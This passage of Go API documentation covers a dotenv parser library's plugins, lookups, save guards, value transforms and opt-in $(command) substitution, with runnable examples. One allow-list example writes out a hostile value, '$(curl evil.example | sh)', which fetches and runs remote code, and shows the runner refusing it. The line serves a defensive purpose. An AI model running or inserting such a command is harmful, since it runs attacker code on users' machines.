ignore it, exactly as a consumer of the file would. // // It is a distinct kind rather than a plain comment because the two mean // different things to anything inspecting a file: one is a setting somebody // turned off, the other is prose. Restore turns it back on. // // The parser assigns this to any comment whose body parses as a pair, so a // line the author commented out by hand is indistinguishable from one Unset // produced. The cost is a false positive on prose shaped like an // assignment — "# TODO=fix this" reads as a disabled setting, which is also // what a human skimming the file would assume. KindDisabledPair // KindInherited is a name-only line — `HOME`, or `export HOME` — with no // delimiter and no value. In the Compose env-file grammar it declares that // the variable's value comes from the process environment, and it is how a // file whitelists host variables (an AWS key, a proxy setting) without // hardcoding their values. // // This package recognises the declaration but NEVER resolves it: doing so // would read os.Environ, which this package promises not to touch. So the // entry is INACTIVE — Get, Has, Count, Keys, Pairs, and Map all ignore it, // and an unresolved ${reference} to it expands to "" like any other unset // variable. Inherited lists the declared names so a caller that wants // Compose's behaviour can apply os.Getenv (or any other source) itself — // the decision to read the environment stays with the application. KindInherited )
func (Kind) String ¶
String implements fmt.Stringer, so a Kind in a test failure or a log line reads as a name rather than an integer.
Example ¶
ExampleKind_String prints a Kind as a name, which is what %s, %v and a log line show. A value outside the six kinds prints as Kind(n).
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
kinds := []dotenv.Kind{
dotenv.KindPair,
dotenv.KindComment,
dotenv.KindBlank,
dotenv.KindOther,
dotenv.KindDisabledPair,
dotenv.KindInherited,
dotenv.Kind(42),
}
for _, k := range kinds {
fmt.Println(k)
}
}
Output: pair comment blank other disabled-pair inherited Kind(42)
type Lookuper ¶
Lookuper supplies a value for a reference the file itself does not define.
It runs AFTER the file's own keys, so the file always wins — adding an environment fallback cannot silently override a value somebody wrote down. Compose behaves the same way.
Returning ok=false means "I do not have this", and the next Lookuper is tried; the first one to answer wins. An error aborts expansion rather than being treated as a miss, because a secret store that is down must not look like a variable that is unset.
A supplied value is expanded like any other, so it may itself contain references, and the cycle guard covers it.
type Option ¶
type Option func(*options)
Option customises parsing and expansion.
func WithCommandRunner ¶
WithCommandRunner overrides how $(command) is executed.
Exists so tests can exercise substitution without spawning a shell, and so an application can supply a sandboxed or allow-listed runner instead of raw `sh -c`. Implies WithCommandSubstitution(true).
Sugar for WithPlugin over a CommandRunner — a one-function hook should not require declaring a type.
Example ¶
ExampleWithCommandRunner shows $(command) substitution is off by default and that a runner decides what each command returns, so an allow-list keeps reading a file from running anything else.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
// A runner replaces `sh -c` for $(command) substitution. This one answers
// from an allow-list, so reading the file can never run anything else.
allowed := map[string]string{
"git rev-parse --short HEAD": "abc1234",
}
runner := func(cmd string) (string, error) {
out, ok := allowed[cmd]
if !ok {
return "", fmt.Errorf("command %q is not allowed", cmd)
}
return out, nil
}
src := `REV="$(git rev-parse --short HEAD)"` + "\n" +
`WHO="$(whoami)"` + "\n" +
`LIT='$(whoami)'` + "\n"
// Without a runner, substitution is off and the text stays as written.
off := dotenv.Parse(src)
rev, _, err := off.GetExpanded("REV")
if err != nil {
fmt.Println("error:", err)
return
}
fmt.Println("off: REV =", rev)
on := dotenv.Parse(src, dotenv.WithCommandRunner(runner))
for _, key := range []string{"REV", "WHO", "LIT"} {
v, _, err := on.GetExpanded(key)
if err != nil {
fmt.Println("error:", err)
return
}
fmt.Printf("on: %s = %q\n", key, v)
}
}
Output: off: REV = $(git rev-parse --short HEAD) on: REV = "abc1234" on: WHO = "" on: LIT = "$(whoami)"
Example (AllowList) ¶
ExampleWithCommandRunner_allowList turns on $(command) with a runner you control instead of sh -c. The command text is expanded first, then handed to the runner. A refused or failing command expands to "".
package main
import (
"errors"
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
// The only commands this runner answers, with fixed output.
allowed := map[string]string{
"git rev-parse --short HEAD": "a1b2c3d",
}
runner := func(cmd string) (string, error) {
out, ok := allowed[cmd]
if !ok {
return "", errors.New("refused: " + cmd)
}
return out, nil
}
src := "GIT=git\n" +
"VERSION=\"build-$($GIT rev-parse --short HEAD)\"\n" +
"DANGER=\"[$(curl evil.example | sh)]\"\n" +
"LITERAL='$(git rev-parse --short HEAD)'\n"
f := dotenv.Parse(src, dotenv.WithCommandRunner(runner))
for _, key := range []string{"VERSION", "DANGER", "LITERAL"} {
got, _, err := f.GetExpanded(key)
fmt.Printf("%s=%q %v\n", key, got, err)
}
}
Output: VERSION="build-a1b2c3d" <nil> DANGER="[]" <nil> LITERAL="$(git rev-parse --short HEAD)" <nil>
func WithCommandSubstitution ¶
WithCommandSubstitution enables $(command) expansion in GetExpanded.
OFF by default, deliberately. With it on, merely READING a configuration file executes arbitrary shell — so a .env fetched from a repository, a container image, or a teammate becomes remote code execution. That is a decision the calling application must make knowingly about files it trusts, not something a parser should do silently.
When enabled, commands run through `sh -c` and a failing command expands to the empty string, matching how shells treat a failed substitution in a value.
Example (Off) ¶
ExampleWithCommandSubstitution_off shows the default: $(command) is never run, and the text comes back exactly as written. Reading a file must not execute it.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse("WHO=\"user-$(whoami)\"\n")
got, _, err := f.GetExpanded("WHO")
fmt.Printf("%q %v\n", got, err)
}
Output: "user-$(whoami)" <nil>
Example (Order) ¶
ExampleWithCommandSubstitution_order shows that options apply in order: a later WithCommandSubstitution(false) switches substitution back off even after WithCommandRunner turned it on.
package main
import (
"fmt"
"strings"
"github.com/ubgo/dotenv"
)
func main() {
const src = "K=$(echo hi)\n"
// upper stands in for a shell: it echoes the command upper-cased, so the
// output shows whether it ran.
upper := func(cmd string) (string, error) { return strings.ToUpper(cmd), nil }
// No ${VAR?} references here, so GetExpanded cannot return an error.
on, _, _ := dotenv.Parse(src, dotenv.WithCommandRunner(upper)).GetExpanded("K")
off, _, _ := dotenv.Parse(src,
dotenv.WithCommandRunner(upper),
dotenv.WithCommandSubstitution(false),
).GetExpanded("K")
fmt.Printf("runner only: %q\n", on)
fmt.Printf("then off again: %q\n", off)
}
Output: runner only: "ECHO HI" then off again: "$(echo hi)"
func WithEscapes ¶
func WithEscapes(m EscapeMode) Option
WithEscapes selects the escape-sequence dialect. Defaults to EscapeExtended.
Example ¶
ExampleWithEscapes compares the two escape dialects on the same input. EscapeExtended (the default) decodes \n \r \t \" \\. EscapeCompose decodes only \" and \\, like Docker Compose. Unknown sequences such as \U or \d are kept as written in both. Single-quoted values never decode anything.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
// synEscapesSrc holds one double-quoted value per escape sequence, plus one
// single-quoted value, so both modes are compared on exactly the same input.
const synEscapesSrc = `QUOTE="say \"hi\""` + "\n" +
`BACKSLASH="a\\b"` + "\n" +
`NEWLINE="a\nb"` + "\n" +
`TAB="a\tb"` + "\n" +
`WINPATH="C:\Users\dev"` + "\n" +
`REGEX="^\d+$"` + "\n" +
`SINGLE='a\nb'` + "\n"
func main() {
for _, mode := range []dotenv.EscapeMode{dotenv.EscapeExtended, dotenv.EscapeCompose} {
fmt.Println("mode:", mode)
f := dotenv.Parse(synEscapesSrc, dotenv.WithEscapes(mode))
for _, key := range f.Keys() {
v, _ := f.Get(key)
fmt.Printf(" %s=%q\n", key, v)
}
}
}
Output: mode: extended QUOTE="say \"hi\"" BACKSLASH="a\\b" NEWLINE="a\nb" TAB="a\tb" WINPATH="C:\\Users\\dev" REGEX="^\\d+$" SINGLE="a\\nb" mode: compose QUOTE="say \"hi\"" BACKSLASH="a\\b" NEWLINE="a\\nb" TAB="a\\tb" WINPATH="C:\\Users\\dev" REGEX="^\\d+$" SINGLE="a\\nb"
func WithLookup ¶
WithLookup supplies values for references the file does not define.
Sugar for WithPlugin over a Lookuper:
dotenv.Parse(src, dotenv.WithLookup(os.LookupEnv))
That single line is how a caller opts into Compose's environment fallback without this package ever touching os.Environ itself.
Example ¶
ExampleWithLookup shows how references the file does not define are filled from a fallback source, while the file's own keys and ${VAR:-default} still win.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
// WithLookup fills references the file does not define. A map stands in for
// os.LookupEnv here, so the output does not depend on the machine running it.
fallback := map[string]string{
"HOST": "from-fallback",
"REGION": "eu-west-1",
}
lookup := func(name string) (string, bool) {
v, ok := fallback[name]
return v, ok
}
src := "HOST=from-file\n" +
"URL=https://${HOST}/${REGION}\n" +
"ZONE=${AZ:-default-zone}\n"
f := dotenv.Parse(src, dotenv.WithLookup(lookup))
for _, key := range []string{"URL", "ZONE"} {
v, _, err := f.GetExpanded(key)
if err != nil {
fmt.Println("error:", err)
return
}
fmt.Printf("%s=%s\n", key, v)
}
}
Output: URL=https://from-file/eu-west-1 ZONE=default-zone
func WithPlugin ¶
WithPlugin installs a plugin.
The plugin's capabilities are detected once, here, by type assertion. A plugin implementing none is legal — it may exist only to be listed — but is usually a signature typo, which is what Plugins exists to make visible.
Example ¶
ExampleWithPlugin installs one typed plugin that holds two capabilities over one shared store, and lists what it was detected as.
package main
import (
"fmt"
"strings"
"github.com/ubgo/dotenv"
)
// plugVault is a secret-store plugin holding two capabilities that share one
// client (here, a map): it fills undefined ${VAR} references, and it
// dereferences values written as "vault:<path>".
type plugVault struct {
secrets map[string]string
}
// plugVaultScheme marks a value that names a secret path rather than holding
// the secret itself.
const plugVaultScheme = "vault:"
func (v *plugVault) Name() string { return "vault" }
// Lookup answers a reference the file does not define.
func (v *plugVault) Lookup(name string) (string, bool, error) {
s, ok := v.secrets[name]
return s, ok, nil
}
// TransformValue swaps "vault:<path>" for the secret at that path.
func (v *plugVault) TransformValue(key, value string) (string, error) {
path, ok := strings.CutPrefix(value, plugVaultScheme)
if !ok {
return value, nil
}
s, found := v.secrets[path]
if !found {
return "", fmt.Errorf("no secret at %q", path)
}
return s, nil
}
func main() {
// One plugin, two capabilities, one shared store.
vault := &plugVault{secrets: map[string]string{
"DB_PASSWORD": "s3cret",
"api/key": "k-123",
}}
src := "DB_URL=postgres://app:${DB_PASSWORD}@db/app\n" +
"API_KEY='vault:api/key'\n"
f := dotenv.Parse(src, dotenv.WithPlugin(vault))
m, err := f.ExpandedMap()
if err != nil {
fmt.Println("error:", err)
return
}
fmt.Println("DB_URL =", m["DB_URL"])
fmt.Println("API_KEY =", m["API_KEY"])
for _, p := range f.Plugins() {
fmt.Println(p)
}
}
Output: DB_URL = postgres://app:s3cret@db/app API_KEY = k-123 vault: Lookuper, ValueTransformer
Example (Guard) ¶
ExampleWithPlugin_guard uses a typed SaveGuard to refuse a file with a missing or empty required key, then saves once the key is filled.
package main
import (
"errors"
"fmt"
"os"
"path/filepath"
"strings"
"github.com/ubgo/dotenv"
)
// plugRequireKeys is a SaveGuard that refuses to write a file missing any of
// the listed keys, or holding one with an empty value.
type plugRequireKeys struct {
keys []string
}
func (plugRequireKeys) Name() string { return "require-keys" }
// GuardSave only reads the file. It is handed a copy, so an edit here would
// change nothing that is saved; see the firewall in docs/library/plugins.md.
func (g plugRequireKeys) GuardSave(f *dotenv.File) error {
var missing []string
for _, k := range g.keys {
if v, ok := f.Get(k); !ok || v == "" {
missing = append(missing, k)
}
}
if len(missing) > 0 {
return fmt.Errorf("missing or empty: %s", strings.Join(missing, ", "))
}
return nil
}
func main() {
// Guards run before anything is written, on Save and SaveAs alike.
guard := dotenv.WithPlugin(plugRequireKeys{keys: []string{"DATABASE_URL", "SECRET_KEY"}})
dir, err := os.MkdirTemp("", "dotenv-require-")
if err != nil {
fmt.Println("error:", err)
return
}
defer func() {
// Cleanup is best-effort; a failure goes to stderr so the example's
// checked stdout output is unaffected.
if err := os.RemoveAll(dir); err != nil {
fmt.Fprintln(os.Stderr, "cleanup:", err)
}
}()
path := filepath.Join(dir, ".env")
f := dotenv.Parse("DATABASE_URL=postgres://db/app\nSECRET_KEY=\n", guard)
err = f.SaveAs(path)
fmt.Println("refused:", errors.Unwrap(err))
_, statErr := os.Stat(path)
fmt.Println("file written:", statErr == nil)
f.Set("SECRET_KEY", "k-123")
fmt.Println("saved:", f.SaveAs(path) == nil)
}
Output: refused: missing or empty: SECRET_KEY file written: false saved: true
Example (LookupError) ¶
ExampleWithPlugin_lookupError shows a Lookuper error aborts expansion and stays matchable with errors.Is, instead of being read as "not set".
package main
import (
"errors"
"fmt"
"github.com/ubgo/dotenv"
)
// plugDownStore is a secret store that cannot be reached.
type plugDownStore struct{}
// errPlugUnreachable is the cause the store reports; callers match it with
// errors.Is.
var errPlugUnreachable = errors.New("connection refused")
func (plugDownStore) Name() string { return "vault" }
func (plugDownStore) Lookup(string) (string, bool, error) {
return "", false, errPlugUnreachable
}
func main() {
// A Lookuper error aborts expansion. It is never treated as "not set", so a
// default cannot quietly stand in for a password the store failed to return.
f := dotenv.Parse("DSN=db://app:${DB_PASSWORD:-}@db\n", dotenv.WithPlugin(plugDownStore{}))
_, _, err := f.GetExpanded("DSN")
fmt.Println(err)
fmt.Println("unreachable:", errors.Is(err, errPlugUnreachable))
}
Output: dotenv: plugin "vault": lookup DB_PASSWORD: connection refused unreachable: true
func WithSaveGuard ¶
WithSaveGuard refuses a write when the file fails a check.
Sugar for WithPlugin over a SaveGuard. The guard may reject, never rewrite: fn receives a copy of the file, so a Set on it changes nothing that is saved.
Example ¶
ExampleWithSaveGuard refuses to write a file that fails a check, and shows the file already on disk is left untouched by the refused save.
package main
import (
"errors"
"fmt"
"os"
"path/filepath"
"strings"
"github.com/ubgo/dotenv"
)
func main() {
// A guard refuses to write a file that fails a check. This one blocks a
// password that is not encrypted.
guard := dotenv.WithSaveGuard(func(f *dotenv.File) error {
for _, p := range f.Pairs() {
if strings.Contains(p.Key, "PASSWORD") && !strings.HasPrefix(p.Value, "encrypted:") {
return fmt.Errorf("%s looks like a plaintext secret", p.Key)
}
}
return nil
})
dir, err := os.MkdirTemp("", "dotenv-guard-")
if err != nil {
fmt.Println("error:", err)
return
}
defer func() {
// Cleanup is best-effort; a failure goes to stderr so the example's
// checked stdout output is unaffected.
if err := os.RemoveAll(dir); err != nil {
fmt.Fprintln(os.Stderr, "cleanup:", err)
}
}()
path := filepath.Join(dir, ".env")
if err := os.WriteFile(path, []byte("ORIGINAL=1\n"), 0o600); err != nil {
fmt.Println("error:", err)
return
}
bad := dotenv.Parse("DB_PASSWORD=hunter2\n", guard)
err = bad.SaveAs(path)
// The full message also names the path; unwrap to print only the reason.
fmt.Println("refused:", errors.Unwrap(err))
kept, err := os.ReadFile(path)
if err != nil {
fmt.Println("error:", err)
return
}
fmt.Printf("on disk: %q\n", kept)
good := dotenv.Parse("DB_PASSWORD=encrypted:abc\n", guard)
fmt.Println("saved:", good.SaveAs(path) == nil)
}
Output: refused: DB_PASSWORD looks like a plaintext secret on disk: "ORIGINAL=1\n" saved: true
func WithValueTransform ¶
WithValueTransform rewrites values after they are read.
Sugar for WithPlugin over a ValueTransformer:
dotenv.Parse(src, dotenv.WithValueTransform(func(key, v string) (string, error) {
s, ok := strings.CutPrefix(v, "encrypted:")
if !ok { return v, nil }
return decrypt(s)
}))
Example ¶
ExampleWithValueTransform decodes values on read only: GetExpanded returns the plain text, Get and Render keep the stored ciphertext, and a bad value is an error rather than leaked ciphertext.
package main
import (
"encoding/base64"
"fmt"
"strings"
"github.com/ubgo/dotenv"
)
func main() {
// A transformer decodes values after they are read. Base64 stands in for a
// real cipher; the shape is the same for age, KMS or sops.
const prefix = "encrypted:" // marks a value the transformer owns
decrypt := func(key, value string) (string, error) {
payload, ok := strings.CutPrefix(value, prefix)
if !ok {
return value, nil // not ours: pass it through untouched
}
plain, err := base64.StdEncoding.DecodeString(payload)
if err != nil {
return "", err
}
return string(plain), nil
}
src := "PLAIN=hello\n" +
"SECRET='encrypted:aHVudGVyMg=='\n" +
"BROKEN=encrypted:%%%\n"
f := dotenv.Parse(src, dotenv.WithValueTransform(decrypt))
plain, _, err := f.GetExpanded("SECRET")
if err != nil {
fmt.Println("error:", err)
return
}
raw, _ := f.Get("SECRET")
fmt.Println("GetExpanded:", plain)
fmt.Println("Get: ", raw)
// A value that fails to decode is an error, never the ciphertext.
_, _, err = f.GetExpanded("BROKEN")
fmt.Println("BROKEN:", err)
// The written bytes keep the ciphertext.
fmt.Print(f.Render())
}
Output: GetExpanded: hunter2 Get: encrypted:aHVudGVyMg== BROKEN: dotenv: plugin "value-transform": transform BROKEN: illegal base64 data at input byte 0 PLAIN=hello SECRET='encrypted:aHVudGVyMg==' BROKEN=encrypted:%%%
type Plugin ¶
type Plugin interface {
Name() string
}
Plugin is anything that can be installed with WithPlugin.
A plugin declares its abilities by implementing the capability interfaces below — Lookuper, CommandRunner, and the rest — and implements only the ones it needs. One plugin may hold several: a secret store naturally wants Lookuper for undefined references and, later, a value transformer for its own URI scheme, sharing one client and one cache between them.
Name is required rather than derived so a failure can say which plugin caused it: "dotenv: plugin \"vault\": lookup DB_PASSWORD: connection refused".
type PluginInfo ¶
type PluginInfo struct {
Name string
Capabilities []Capability
}
PluginInfo is one installed plugin and the capabilities it was recognised as having.
Example ¶
ExamplePluginInfo prints the one-line form of PluginInfo and the fixed names the function options install their plugins under.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
// PluginInfo is plain data: a name and the detected capabilities. String
// renders the one-line form a doctor command prints.
infos := []dotenv.PluginInfo{
{Name: "vault", Capabilities: []dotenv.Capability{dotenv.CapLookup, dotenv.CapValueTransformer}},
{Name: "tracer"},
}
for _, p := range infos {
fmt.Println(p.String())
}
// The function options install plugins with fixed names.
f := dotenv.Parse("A=1\n",
dotenv.WithLookup(func(string) (string, bool) { return "", false }),
dotenv.WithValueTransform(func(_, v string) (string, error) { return v, nil }),
dotenv.WithSaveGuard(func(*dotenv.File) error { return nil }),
dotenv.WithCommandRunner(func(string) (string, error) { return "", nil }),
)
for _, p := range f.Plugins() {
fmt.Println(p)
}
}
Output: vault: Lookuper, ValueTransformer tracer: (none) lookup: Lookuper value-transform: ValueTransformer save-guard: SaveGuard command-runner: CommandRunner
func (PluginInfo) String ¶
func (p PluginInfo) String() string
String renders as "vault: Lookuper, CommandRunner", or "tracer: (none)".
type RequiredError ¶
type RequiredError struct {
// Key is the referenced variable that was unset or empty.
Key string
// Message is the text after the operator. Empty when the author wrote none.
Message string
// Empty distinguishes ":?" (unset OR empty) from "?" (unset only).
Empty bool
}
RequiredError reports a ${VAR:?message} or ${VAR?message} reference whose variable was not satisfied.
These forms exist precisely to fail loudly: silently yielding "" would defeat the only reason an author writes one.
Example ¶
ExampleRequiredError shows how to catch a required-variable failure with errors.As and read which variable is missing. Empty is true for the ":?" form (unset or empty) and false for "?" (unset only).
package main
import (
"errors"
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
src := "DB_PASSWORD=\n" +
"URL=postgres://app:${DB_PASSWORD:?set it in .env}@db\n" +
"TOKEN=${API_TOKEN?}\n"
f := dotenv.Parse(src)
for _, key := range []string{"URL", "TOKEN"} {
_, _, err := f.GetExpanded(key)
var re *dotenv.RequiredError
if errors.As(err, &re) {
fmt.Printf("key=%s empty=%v message=%q\n", re.Key, re.Empty, re.Message)
fmt.Println(" ", err)
}
}
}
Output: key=DB_PASSWORD empty=true message="set it in .env" dotenv: required variable DB_PASSWORD is not set or is empty: set it in .env key=API_TOKEN empty=false message="" dotenv: required variable API_TOKEN is not set
func (*RequiredError) Error ¶
func (e *RequiredError) Error() string
type SaveGuard ¶
SaveGuard inspects a file before it is written and may refuse.
It may VETO ONLY. Rewriting content on the way to disk would breach the rule the package rests on — a hook may change what a value reads as, never what gets written — and would invalidate the round-trip guarantee everything else depends on. Encrypt-on-write is a real want and is deliberately not this.
Every guard runs and the first error aborts the write, leaving the destination untouched.
The *File a guard receives is a copy made for that call (a Clone), not the file being saved. Calling Set on it, or editing its entries, changes only the copy: the bytes written and the caller's file stay as they were, so the veto-only rule holds by construction rather than by trust.
type ValueTransformer ¶
ValueTransformer rewrites a value after it has been read.
Runs AFTER expansion, and its output is NOT expanded again: a decrypted secret containing ${...} stays literal, which is what a secret full of dollar signs wants. Transformers are CHAINED — each sees the previous one's output — so a value can be dereferenced by one plugin and decoded by another.
It applies to literal values too, single-quoted and backtick alike. Quoting controls interpolation, not transformation: an "encrypted:" value is very often single-quoted precisely to keep the parser out of it, and a transformer that skipped those would be useless.
An error aborts the read rather than yielding the untransformed value, because a caller must never silently receive ciphertext where it expected a secret.